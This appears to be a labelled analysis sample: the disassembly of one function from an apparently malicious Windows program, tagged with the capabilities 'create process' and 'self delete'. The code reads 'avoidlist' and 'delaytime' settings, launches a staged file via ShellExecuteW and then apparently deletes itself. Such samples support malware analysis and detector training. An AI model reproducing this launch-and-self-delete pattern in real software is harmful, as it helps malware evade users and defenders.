Function at 0x40f370
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4dd7ab
mov eax, dword fs:[0]
push eax
sub esp, 0x320
mov eax, dword [0x5176f0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2d4], ecx
lea ecx, [ebp - 0x12c]
call fcn.0040af80
mov dword [ebp - 4], 0
push 0x3a98
push 0x3a98
push 0x3a98
push 0x3a98
push 0
push 0x4fb068
xor ecx, ecx
lea edx, [ebp - 0x12c]
call fcn.00455530
add esp, 0x18
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x40fbf3
lea eax, [ebp - 0x12c]
push eax
call fcn.00407c50
lea esi, [ebp - 0x2c]
call fcn.00461260
mov dword [ebp - 0x2d8], eax
mov ecx, dword [ebp - 0x2d8]
mov dword [ebp - 0x2dc], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2dc]
push edx
lea ecx, [ebp - 0x12c]
call fcn.00408610
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.0040b0a0
lea eax, [ebp - 0x2c6]
call fcn.0045b610
push eax
lea eax, [ebp - 0x1bc]
push eax
call fcn.0045b7c0
mov byte [ebp - 4], 2
push 0
lea edi, [ebp - 0x13c]
call fcn.0045eb90
mov byte [ebp - 4], 3
push 1
lea ecx, [ebp - 0x13c]
push ecx
lea eax, [ebp - 0x12c]
lea esi, [ebp - 0x1bc]
call fcn.0045b8f0
movzx edx, al
test edx, edx
je 0x40fbd3
mov eax, 0x4fb0c8
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov ecx, eax
mov eax, 0x4fb0d0
call fcn.0045f450
mov ecx, eax
call fcn.0045f150
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1c4], 0
jmp 0x40f4d1
mov edx, dword [ebp - 0x1c4]
add edx, 1
mov dword [ebp - 0x1c4], edx
mov eax, dword [ebp - 0x1c4]
cmp eax, dword [ebp - 0x1c0]
jge 0x40fbd3
mov ecx, dword [ebp - 0x1c4]
push ecx
mov eax, 0x4fb0d8
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov edx, eax
mov eax, 0x4fb0e0
mov ecx, edx
call fcn.0045f450
push eax
call fcn.0045f1d0
mov ecx, eax
mov eax, str.avoidlist
call fcn.0045f450
lea esi, [ebp - 0x48]
mov ecx, eax
call fcn.0045efc0
mov dword [ebp - 0x2e0], eax
mov edx, dword [ebp - 0x2e0]
mov dword [ebp - 0x2e4], edx
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2e4]
lea esi, [ebp - 0x1fc]
call fcn.00454020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x48]
call fcn.0040b0a0
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, 0x4fb0f4
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov ecx, eax
mov eax, 0x4fb0fc
call fcn.0045f450
push eax
call fcn.0045f1d0
mov edx, eax
mov eax, 0x4fb104
mov ecx, edx
call fcn.0045f450
lea esi, [ebp - 0x64]
mov ecx, eax
call fcn.0045efc0
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2e8]
mov dword [ebp - 0x2ec], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x2ec]
lea esi, [ebp - 0x218]
call fcn.00454020
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x64]
call fcn.0040b0a0
mov ecx, dword [ebp - 0x1c4]
push ecx
mov eax, 0x4fb10c
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov edx, eax
mov eax, 0x4fb114
mov ecx, edx
call fcn.0045f450
push eax
call fcn.0045f1d0
mov ecx, eax
mov eax, 0x4fb11c
call fcn.0045f450
lea esi, [ebp - 0x80]
mov ecx, eax
call fcn.0045efc0
mov dword [ebp - 0x2f0], eax
mov edx, dword [ebp - 0x2f0]
mov dword [ebp - 0x2f4], edx
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x2f4]
lea esi, [ebp - 0x250]
call fcn.00454020
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x80]
call fcn.0040b0a0
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, 0x4fb128
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov ecx, eax
mov eax, 0x4fb130
call fcn.0045f450
push eax
call fcn.0045f1d0
mov edx, eax
mov eax, 0x4fb138
mov ecx, edx
call fcn.0045f450
lea esi, [ebp - 0x9c]
mov ecx, eax
call fcn.0045efc0
mov dword [ebp - 0x2f8], eax
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x2fc], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x2fc]
lea esi, [ebp - 0x2a4]
call fcn.00454020
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x9c]
call fcn.0040b0a0
mov ecx, dword [ebp - 0x1c4]
push ecx
mov eax, 0x4fb13c
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov edx, eax
mov eax, 0x4fb144
mov ecx, edx
call fcn.0045f450
push eax
call fcn.0045f1d0
mov ecx, eax
mov eax, str.delaytime
call fcn.0045f450
mov ecx, eax
call fcn.0045f060
push eax
push 0x4fb158
lea edx, [ebp - 0x1e0]
push edx
call fcn.00454140
add esp, 0xc
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x1c4]
push eax
mov eax, 0x4fb160
lea ecx, [ebp - 0x13c]
call fcn.0045f450
mov ecx, eax
mov eax, 0x4fb168
call fcn.0045f450
push eax
call fcn.0045f1d0
mov edx, eax
mov eax, 0x4fb170
mov ecx, edx
call fcn.0045f450
lea esi, [ebp - 0xb8]
mov ecx, eax
call fcn.0045efc0
mov dword [ebp - 0x300], eax
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x304], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x304]
lea esi, [ebp - 0x288]
call fcn.00454020
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xb8]
call fcn.0040b0a0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2cc], esp
lea edx, [ebp - 0x218]
push edx
call fcn.004041c0
mov dword [ebp - 0x308], eax
mov ecx, dword [ebp - 0x2d4]
call fcn.0040eeb0
mov byte [ebp - 0x309], al
movzx eax, byte [ebp - 0x309]
test eax, eax
je 0x40f833
push 0x41a4
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404250
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404250
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404250
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404250
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404250
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404250
jmp 0x40f4c2
lea ecx, [ebp - 0x234]
push ecx
call fcn.0041c6d0
mov ecx, eax
call fcn.0041d410
mov byte [ebp - 4], 0x14
push 0
lea edx, [ebp - 0x234]
push edx
lea ecx, [ebp - 0x250]
call fcn.004027a0
cmp eax, 0xffffffff
je 0x40f8e2
push 0x41a3
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x234]
call fcn.00404250
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404250
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404250
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404250
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404250
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404250
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404250
jmp 0x40f4c2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x2d0], esp
lea eax, [ebp - 0x1fc]
push eax
call fcn.004041c0
mov dword [ebp - 0x310], eax
mov ecx, dword [ebp - 0x2d4]
call fcn.0040f120
mov byte [ebp - 0x311], al
movzx ecx, byte [ebp - 0x311]
test ecx, ecx
je 0x40f99a
push 0x41a2
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x234]
call fcn.00404250
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404250
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404250
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404250
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404250
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404250
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404250
jmp 0x40f4c2
lea edx, [ebp - 0xd4]
push edx
call fcn.00404c20
add esp, 4
mov dword [ebp - 0x318], eax
mov eax, dword [ebp - 0x318]
mov dword [ebp - 0x31c], eax
mov byte [ebp - 4], 0x15
push str.coopexp.dll
mov ecx, dword [ebp - 0x31c]
push ecx
lea edx, [ebp - 0x2c0]
push edx
call fcn.00403010
add esp, 0xc
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0xd4]
call fcn.00404250
push 0x3a98
push 0x3a98
push 0x3a98
push 0x3a98
lea ecx, [ebp - 0x2c0]
call fcn.004041a0
push eax
lea ecx, [ebp - 0x2a4]
call fcn.004041a0
push eax
xor ecx, ecx
call fcn.00455040
add esp, 0x18
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x2c0]
push eax
push 0x4fb1b0
lea ecx, [ebp - 0xf0]
push ecx
call fcn.00402f50
add esp, 0xc
mov dword [ebp - 0x320], eax
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x324], edx
mov byte [ebp - 4], 0x18
push str.__startup
mov eax, dword [ebp - 0x324]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00403010
add esp, 0xc
mov dword [ebp - 0x328], eax
mov edx, dword [ebp - 0x328]
mov dword [ebp - 0x32c], edx
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x1e0]
push eax
mov ecx, dword [ebp - 0x32c]
push ecx
lea edx, [ebp - 0x26c]
push edx
call fcn.00403050
add esp, 0xc
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x10c]
call fcn.00404250
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xf0]
call fcn.00404250
cmp dword [ebp - 0x110], 0
jne 0x40fb34
push 0
push 0
lea ecx, [ebp - 0x26c]
call fcn.004041a0
push eax
push 0x4fb1b4
push 0x4fb1d0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x20
jle 0x40fb21
push 0x41a6
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
lea ecx, [ebp - 0x288]
call fcn.004041a0
mov esi, eax
call fcn.004559d0
jmp 0x40fb32
push 0x41a7
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
jmp 0x40fb45
push 0x41a5
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x26c]
call fcn.00404250
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.00404250
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x234]
call fcn.00404250
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x288]
call fcn.00404250
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1e0]
call fcn.00404250
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.00404250
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x250]
call fcn.00404250
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x218]
call fcn.00404250
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1fc]
call fcn.00404250
jmp 0x40fbd3
mov byte [ebp - 4], 2
lea edi, [ebp - 0x13c]
call fcn.0045ee60
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1bc]
call fcn.0040cc40
jmp 0x40fc04
push 0x41a1
call fcn.004213b0
mov ecx, eax
call fcn.00421a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12c]
call fcn.0040b0a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004ae123
mov esp, ebp
pop ebp
ret